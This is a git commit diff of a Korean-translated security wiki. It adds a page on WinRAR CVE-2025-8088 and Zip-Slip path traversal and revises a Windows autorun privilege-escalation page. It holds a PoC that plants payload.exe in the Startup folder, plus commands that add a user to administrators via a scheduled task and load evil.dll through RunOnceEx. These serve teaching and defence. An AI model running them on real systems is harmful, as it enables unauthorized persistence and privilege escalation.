Translated ['src/generic-hacking/archive-extraction-path-traversal.md',

This commit is contained in:
Translator 2025-08-13 22:16:07 +00:00
parent 5becefaa4a
commit a27656dc41
3 changed files with 102 additions and 23 deletions

View File

@ -79,6 +79,7 @@
# 🧙‍♂️ Generic Hacking # 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md) - [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md) - [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md) - [Exfiltration](generic-hacking/exfiltration.md)

View File

@ -0,0 +1,68 @@
# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## 개요
많은 아카이브 형식(ZIP, RAR, TAR, 7-ZIP 등)은 각 항목이 자체 **내부 경로**를 가질 수 있도록 허용합니다. 추출 유틸리티가 그 경로를 맹목적으로 존중할 경우, `..` 또는 **절대 경로**(예: `C:\Windows\System32\`)를 포함한 조작된 파일 이름이 사용자가 선택한 디렉토리 외부에 기록됩니다. 이 유형의 취약점은 *Zip-Slip* 또는 **아카이브 추출 경로 탐색**으로 널리 알려져 있습니다.
결과는 임의의 파일을 덮어쓰는 것부터 Windows *시작* 폴더와 같은 **자동 실행** 위치에 페이로드를 배치하여 **원격 코드 실행(RCE)**를 직접 달성하는 것까지 다양합니다.
## 근본 원인
1. 공격자가 하나 이상의 파일 헤더에 다음을 포함하는 아카이브를 생성합니다:
* 상대 탐색 시퀀스 (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
* 절대 경로 (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
2. 피해자가 내장된 경로를 신뢰하고 이를 정리하거나 선택한 디렉토리 아래로 강제 추출하지 않는 취약한 도구로 아카이브를 추출합니다.
3. 파일이 공격자가 제어하는 위치에 기록되고 시스템이나 사용자가 해당 경로를 트리거할 때 다음에 실행/로드됩니다.
## 실제 사례 WinRAR ≤ 7.12 (CVE-2025-8088)
Windows용 WinRAR(`rar` / `unrar` CLI, DLL 및 휴대용 소스 포함)는 추출 중 파일 이름을 검증하지 못했습니다. 다음과 같은 항목을 포함하는 악의적인 RAR 아카이브:
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
결과적으로 **선택된** 출력 디렉토리 외부에 위치하게 되고 사용자의 *Startup* 폴더 안에 있게 됩니다. Windows는 로그온 후 그곳에 있는 모든 것을 자동으로 실행하여 *지속적인* RCE를 제공합니다.
### PoC 아카이브 만들기 (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
옵션 사용:
* `-ep` 파일 경로를 주어진 대로 정확하게 저장 (선행 `./`**제거하지 않음**).
피해자에게 `evil.rar`를 전달하고 취약한 WinRAR 빌드로 추출하도록 지시합니다.
### 실제 관찰된 악용 사례
ESET는 CVE-2025-8088을 악용하여 맞춤형 백도어를 배포하고 랜섬웨어 작업을 촉진하는 RAR 아카이브를 첨부한 RomCom (Storm-0978/UNC2596) 스피어 피싱 캠페인을 보고했습니다.
## 탐지 팁
* **정적 검사** 아카이브 항목을 나열하고 `../`, `..\\`, *절대 경로* (`C:`) 또는 비정규 UTF-8/UTF-16 인코딩이 포함된 이름을 플래그합니다.
* **샌드박스 추출** *안전한* 추출기(예: Python의 `patool`, 7-Zip ≥ 최신, `bsdtar`)를 사용하여 일회용 디렉토리에 압축을 풀고 결과 경로가 디렉토리 내에 있는지 확인합니다.
* **엔드포인트 모니터링** WinRAR/7-Zip/etc.로 아카이브가 열린 직후 `Startup`/`Run` 위치에 새 실행 파일이 작성되면 경고합니다.
## 완화 및 강화
1. **추출기 업데이트** WinRAR 7.13은 적절한 경로 정리를 구현합니다. 사용자는 WinRAR에 자동 업데이트 메커니즘이 없기 때문에 수동으로 다운로드해야 합니다.
2. 가능할 경우 **“경로 무시”** 옵션으로 아카이브를 추출합니다 (WinRAR: *추출 → "경로를 추출하지 않음"*).
3. 신뢰할 수 없는 아카이브는 **샌드박스** 또는 VM 내에서 엽니다.
4. 애플리케이션 화이트리스트를 구현하고 사용자 쓰기 액세스를 자동 실행 디렉토리로 제한합니다.
## 추가 영향을 받은 / 역사적 사례
* 2018 많은 Java/Go/JS 라이브러리에 영향을 미친 Snyk의 대규모 *Zip-Slip* 권고.
* 2023 `-ao` 병합 중 유사한 탐색을 가진 7-Zip CVE-2023-4011.
* 쓰기 전에 `PathCanonicalize` / `realpath`를 호출하지 않는 모든 사용자 정의 추출 논리.
## 참조
- [BleepingComputer WinRAR 제로데이 악용으로 아카이브 추출 시 악성코드 심기](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 변경 로그](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk Zip Slip 취약점 보고서](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,7 +1,9 @@
# Autoruns를 이용한 권한 상승 # Autoruns를 한 권한 상승
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## WMIC ## WMIC
**Wmic**는 **시작** 시 프로그램을 실행하는 데 사용할 수 있습니다. 시작 시 실행되도록 프로그래밍된 바이너리를 확인하려면: **Wmic**는 **시작** 시 프로그램을 실행하는 데 사용할 수 있습니다. 시작 시 실행되도록 프로그래밍된 바이너리를 확인하려면:
@ -11,7 +13,7 @@ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
``` ```
## Scheduled Tasks ## Scheduled Tasks
**작업**은 **특정 빈도**로 실행되도록 예약할 수 있습니다. 실행되도록 예약된 바이너리를 보려면: **작업**은 **특정 빈도**로 실행되도록 예약할 수 있습니다. 다음 명령어로 실행되도록 예약된 바이너리를 확인하세요:
```bash ```bash
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab" schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST 2>nul | findstr TaskName
@ -22,9 +24,9 @@ Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,Tas
#You can also write that content on a bat file that is being executed by a scheduled task #You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add" schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
``` ```
## 폴더 ## Folders
**시작 폴더에 위치한 모든 바이너리는 시작 시 실행됩니다**. 일반적인 시작 폴더는 다음에 나열된 폴더들이지만, 시작 폴더는 레지스트리에 표시됩니다. [여기를 읽어 어디인지 알아보세요.](privilege-escalation-with-autorun-binaries.md#startup-path) 모든 **시작 폴더에 위치한 바이너리들은 시작 시 실행됩니다**. 일반적인 시작 폴더는 다음에 나열된 폴더들이지만, 시작 폴더는 레지스트리에 표시됩니다. [여기를 읽어 어디인지 알아보세요.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash ```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -33,10 +35,18 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup" Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
``` ```
> **참고**: 아카이브 추출 *경로 탐색* 취약점(예: WinRAR에서 7.13 이전에 악용된 CVE-2025-8088)은 **압축 해제 중 이러한 시작 폴더에 페이로드를 직접 배치하는 데 활용될 수 있으며**, 다음 사용자 로그온 시 코드 실행을 초래할 수 있습니다. 이 기술에 대한 심층 분석은 다음을 참조하십시오:
{{#ref}}
../../generic-hacking/archive-extraction-path-traversal.md
{{#endref}}
## 레지스트리 ## 레지스트리
> [!NOTE] > [!TIP]
> [여기에서 노트](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** 레지스트리 항목은 64비트 Windows 버전을 실행하고 있음을 나타냅니다. 운영 체제는 이 키를 사용하여 64비트 Windows 버전에서 실행되는 32비트 응용 프로그램에 대한 HKEY_LOCAL_MACHINE\SOFTWARE의 별도 보기를 표시합니다. > [여기에서 참고](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): **Wow6432Node** 레지스트리 항목은 64비트 Windows 버전을 실행하고 있음을 나타냅니다. 운영 체제는 이 키를 사용하여 64비트 Windows 버전에서 실행되는 32비트 응용 프로그램에 대한 HKEY_LOCAL_MACHINE\SOFTWARE의 별도 보기를 표시합니다.
### 실행 ### 실행
@ -72,14 +82,14 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx` - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
- `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx` - `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
Windows Vista 및 이후 버전에서는 **Run****RunOnce** 레지스트리 키가 자동으로 생성되지 않습니다. 이러한 키의 항목은 프로그램을 직접 시작하거나 종속성으로 지정할 수 있습니다. 예를 들어, 로그 시 DLL 파일을 로드하려면 **RunOnceEx** 레지스트리 키와 "Depend" 키를 함께 사용할 수 있습니다. 이는 시스템 시작 시 "C:\temp\evil.dll"을 실행하도록 레지스트리 항목을 추가하여 보여줍니다: Windows Vista 및 이후 버전에서는 **Run****RunOnce** 레지스트리 키가 자동으로 생성되지 않습니다. 이러한 키의 항목은 프로그램을 직접 시작하거나 종속성으로 지정할 수 있습니다. 예를 들어, 로그 시 DLL 파일을 로드하려면 **RunOnceEx** 레지스트리 키와 함께 "Depend" 키를 사용할 수 있습니다. 이는 시스템 시작 시 "C:\temp\evil.dll"을 실행하 레지스트리 항목을 추가하여 보여줍니다:
``` ```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll" reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
``` ```
> [!NOTE] > [!TIP]
> **Exploit 1**: **HKLM** 내의 언급된 레지스트리 중 어느 곳에든 쓸 수 있다면, 다른 사용자가 로그인할 때 권한을 상승시킬 수 있습니다. > **Exploit 1**: **HKLM** 내의 언급된 레지스트리 중 어느 곳에든 쓸 수 있다면, 다른 사용자가 로그인할 때 권한을 상승시킬 수 있습니다.
> [!NOTE] > [!TIP]
> **Exploit 2**: **HKLM** 내의 레지스트리 중 어느 곳에든 표시된 이진 파일을 덮어쓸 수 있다면, 다른 사용자가 로그인할 때 해당 이진 파일을 백도어로 수정하고 권한을 상승시킬 수 있습니다. > **Exploit 2**: **HKLM** 내의 레지스트리 중 어느 곳에든 표시된 이진 파일을 덮어쓸 수 있다면, 다른 사용자가 로그인할 때 해당 이진 파일을 백도어로 수정하고 권한을 상승시킬 수 있습니다.
```bash ```bash
#CMD #CMD
@ -145,8 +155,8 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
**시작** 폴더에 배치된 바로 가기는 사용자 로그온 또는 시스템 재부팅 중에 서비스나 애플리케이션을 자동으로 실행합니다. **시작** 폴더의 위치는 **로컬 머신****현재 사용자** 범위에 대해 레지스트리에서 정의됩니다. 이는 이러한 지정된 **시작** 위치에 추가된 모든 바로 가기가 로그온 또는 재부팅 프로세스 후에 연결된 서비스나 프로그램이 시작되도록 보장함을 의미하며, 프로그램을 자동으로 실행하도록 예약하는 간단한 방법입니다. **시작** 폴더에 배치된 바로 가기는 사용자 로그온 또는 시스템 재부팅 중에 서비스나 애플리케이션을 자동으로 실행합니다. **시작** 폴더의 위치는 **로컬 머신****현재 사용자** 범위에 대해 레지스트리에서 정의됩니다. 이는 이러한 지정된 **시작** 위치에 추가된 모든 바로 가기가 로그온 또는 재부팅 프로세스 후에 연결된 서비스나 프로그램이 시작되도록 보장함을 의미하며, 프로그램을 자동으로 실행하도록 예약하는 간단한 방법입니다.
> [!NOTE] > [!TIP]
> **HKLM** 아래의 \[User] Shell Folder를 덮어쓸 수 있다면, 이를 당신이 제어하는 폴더로 지정하고 사용자가 시스템에 로그인할 때마다 실행되는 백도어를 배치할 수 있습니다. > **HKLM** 아래의 어떤 \[User] Shell Folder를 덮어쓸 수 있다면, 당신이 제어하는 폴더를 가리키도록 설정할 수 있으며, 사용자가 시스템에 로그인할 때마다 실행되는 백도어를 배치할 수 있습니다.
```bash ```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
@ -169,8 +179,8 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
``` ```
> [!NOTE] > [!TIP]
> 레지스트리 값을 덮어쓰거나 바이너리를 덮어쓸 수 있다면 권한을 상승시킬 수 있습니다. > 레지스트리 값을 덮어쓰거나 바이너리를 덮어쓸 수 있다면 권한 상승이 가능합니다.
### 정책 설정 ### 정책 설정
@ -188,19 +198,19 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
### 안전 모드 명령 프롬프트 변경 ### 안전 모드 명령 프롬프트 변경
Windows 레지스트리의 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 아래에 기본적으로 `cmd.exe`로 설정된 **`AlternateShell`** 값이 있습니다. 이는 시작 시 "명령 프롬프트가 있는 안전 모드"를 선택할 때 (F8을 눌러서) `cmd.exe`가 사용된다는 것을 의미합니다. 그러나 F8을 눌러 수동으로 선택하지 않고도 이 모드에서 자동으로 시작하도록 컴퓨터를 설정할 수 있습니다. Windows 레지스트리의 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` 아래에 기본적으로 `cmd.exe`로 설정된 **`AlternateShell`** 값이 있습니다. 이는 시작 시 "명령 프롬프트가 있는 안전 모드"를 선택할 때 (F8을 눌러서) `cmd.exe`가 사용된다는 것을 의미합니다. 그러나 F8을 누르고 수동으로 선택할 필요 없이 이 모드에서 자동으로 시작하도록 컴퓨터를 설정할 수 있습니다.
"명령 프롬프트가 있는 안전 모드"에서 자동으로 시작하는 부팅 옵션을 만들기 위한 단계: "명령 프롬프트가 있는 안전 모드"에서 자동으로 시작하는 부팅 옵션을 만들기 위한 단계:
1. `boot.ini` 파일의 속성을 변경하여 읽기 전용, 시스템 및 숨김 플래그를 제거합니다: `attrib c:\boot.ini -r -s -h` 1. `boot.ini` 파일의 속성을 변경하여 읽기 전용, 시스템 및 숨김 플래그를 제거합니다: `attrib c:\boot.ini -r -s -h`
2. `boot.ini` 편집을 위해 엽니다. 2. 편집을 위해 `boot.ini`를 엽니다.
3. 다음과 같은 줄을 삽입합니다: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)` 3. 다음과 같은 줄을 삽입합니다: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)`
4. `boot.ini`에 대한 변경 사항을 저장합니다. 4. `boot.ini`에 대한 변경 사항을 저장합니다.
5. 원래 파일 속성을 다시 적용합니다: `attrib c:\boot.ini +r +s +h` 5. 원래 파일 속성을 다시 적용합니다: `attrib c:\boot.ini +r +s +h`
- **Exploit 1:** **AlternateShell** 레지스트리 키를 변경하면 사용자 정의 명령 셸 설정이 가능해져, 무단 접근이 발생할 수 있습니다. - **Exploit 1:** **AlternateShell** 레지스트리 키를 변경하면 사용자 정의 명령 셸 설정이 가능해져, 무단 접근이 발생할 수 있습니다.
- **Exploit 2 (PATH 쓰기 권한):** 시스템 **PATH** 변수의 어떤 부분에든 쓰기 권한이 있는 경우, 특히 `C:\Windows\system32` 이전에, 사용자 정의 `cmd.exe`를 실행할 수 있으며, 이는 시스템이 안전 모드에서 시작될 경우 백도어가 될 수 있습니다. - **Exploit 2 (PATH 쓰기 권한):** 시스템 **PATH** 변수의 어떤 부분에든 쓰기 권한이 있는 경우, 특히 `C:\Windows\system32` 이전에, 사용자 정의 `cmd.exe`를 실행할 수 있으며, 이는 시스템이 안전 모드에서 시작될 경우 백도어가 될 수 있습니다.
- **Exploit 3 (PATH 및 boot.ini 쓰기 권한):** `boot.ini`에 대한 쓰기 접근은 자동 안전 모드 시작을 가능하게 하여, 다음 재부팅 시 무단 접근을 용이하게 합니다. - **Exploit 3 (PATH 및 boot.ini 쓰기 권한):** `boot.ini`에 대한 쓰기 접근이 가능하면 자동 안전 모드 시작이 가능해져, 다음 재부팅 시 무단 접근을 용이하게 합니다.
현재 **AlternateShell** 설정을 확인하려면 다음 명령을 사용하십시오: 현재 **AlternateShell** 설정을 확인하려면 다음 명령을 사용하십시오:
```bash ```bash
@ -209,7 +219,7 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
``` ```
### 설치된 구성 요소 ### 설치된 구성 요소
Active Setup은 Windows의 기능으로 **바탕 화면 환경이 완전히 로드되기 전에 시작됩니다**. 이는 특정 명령의 실행을 우선시하며, 사용자가 로그온을 진행하기 전에 완료되어야 합니다. 이 과정은 Run 또는 RunOnce 레지스트리 섹션 다른 시작 항목이 트리거되기 전에도 발생합니다. Active Setup은 Windows의 기능으로 **바탕 화면 환경이 완전히 로드되기 전에 시작됩니다**. 이는 특정 명령의 실행을 우선시하며, 사용자가 로그온을 진행하기 전에 완료되어야 합니다. 이 과정은 Run 또는 RunOnce 레지스트리 섹션과 같은 다른 시작 항목이 트리거되기 전에도 발생합니다.
Active Setup은 다음 레지스트리 키를 통해 관리됩니다: Active Setup은 다음 레지스트리 키를 통해 관리됩니다:
@ -227,8 +237,8 @@ Active Setup은 다음 레지스트리 키를 통해 관리됩니다:
**보안 통찰력:** **보안 통찰력:**
- **`IsInstalled`**가 `"1"`로 설정된 키를 특정 **`StubPath`**로 수정하거나 작성하면 무단 명령 실행으로 이어질 수 있으며, 이는 권한 상승을 초래할 수 있습니다. - **`IsInstalled`**가 `"1"`로 설정된 키를 특정 **`StubPath`**로 수정하거나 쓰는 것은 권한 상승을 위한 무단 명령 실행으로 이어질 수 있습니다.
- 어떤 **`StubPath`** 값에서 참조된 이진 파일을 변경하는 것도 충분한 권한이 있을 경우 권한 상승을 달성할 수 있습니다. - 어떤 **`StubPath`** 값에서 참조된 이진 파일을 변경하는 것도 충분한 권한이 주어지면 권한 상승을 달성할 수 있습니다.
Active Setup 구성 요소 전반에 걸쳐 **`StubPath`** 구성을 검사하기 위해 다음 명령을 사용할 수 있습니다: Active Setup 구성 요소 전반에 걸쳐 **`StubPath`** 구성을 검사하기 위해 다음 명령을 사용할 수 있습니다:
```bash ```bash
@ -237,11 +247,11 @@ reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v Stub
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
``` ```
### 브라우저 헬퍼 오브젝트 ### Browser Helper Objects
### 브라우저 헬퍼 오브젝트(BHOs) 개요 ### Overview of Browser Helper Objects (BHOs)
브라우저 헬퍼 오브젝트(BHOs)는 Microsoft의 Internet Explorer에 추가 기능을 제공하는 DLL 모듈입니다. 이들은 각 시작 시 Internet Explorer와 Windows Explorer에 로드됩니다. 그러나 **NoExplorer** 키를 1로 설정하면 실행이 차단되어 Windows Explorer 인스턴스와 함께 로드되지 않도록 할 수 있습니다. Browser Helper Objects (BHOs)는 Microsoft의 Internet Explorer에 추가 기능을 제공하는 DLL 모듈입니다. 이들은 각 시작 시 Internet Explorer와 Windows Explorer에 로드됩니다. 그러나 **NoExplorer** 키를 1로 설정하면 실행이 차단되어 Windows Explorer 인스턴스와 함께 로드되지 않도록 할 수 있습니다.
BHOs는 Internet Explorer 11을 통해 Windows 10과 호환되지만, 최신 버전의 Windows에서 기본 브라우저인 Microsoft Edge에서는 지원되지 않습니다. BHOs는 Internet Explorer 11을 통해 Windows 10과 호환되지만, 최신 버전의 Windows에서 기본 브라우저인 Microsoft Edge에서는 지원되지 않습니다.
@ -291,7 +301,7 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
``` ```
## SysInternals ## SysInternals
autoruns를 찾을 수 있는 모든 사이트는 **이미** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)로 검색되었습니다. 그러나 **자동 실행되는** 파일의 **더 포괄적인 목록**을 원한다면 Sysinternals의 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)를 사용할 수 있습니다: 모든 autoruns를 찾을 수 있는 사이트는 **이미**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)로 검색되었습니다. 그러나 **더 포괄적인 자동 실행** 파일 목록을 원하신다면 Sysinternals의 [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)를 사용할 수 있습니다:
``` ```
autorunsc.exe -m -nobanner -a * -ct /accepteula autorunsc.exe -m -nobanner -a * -ct /accepteula
``` ```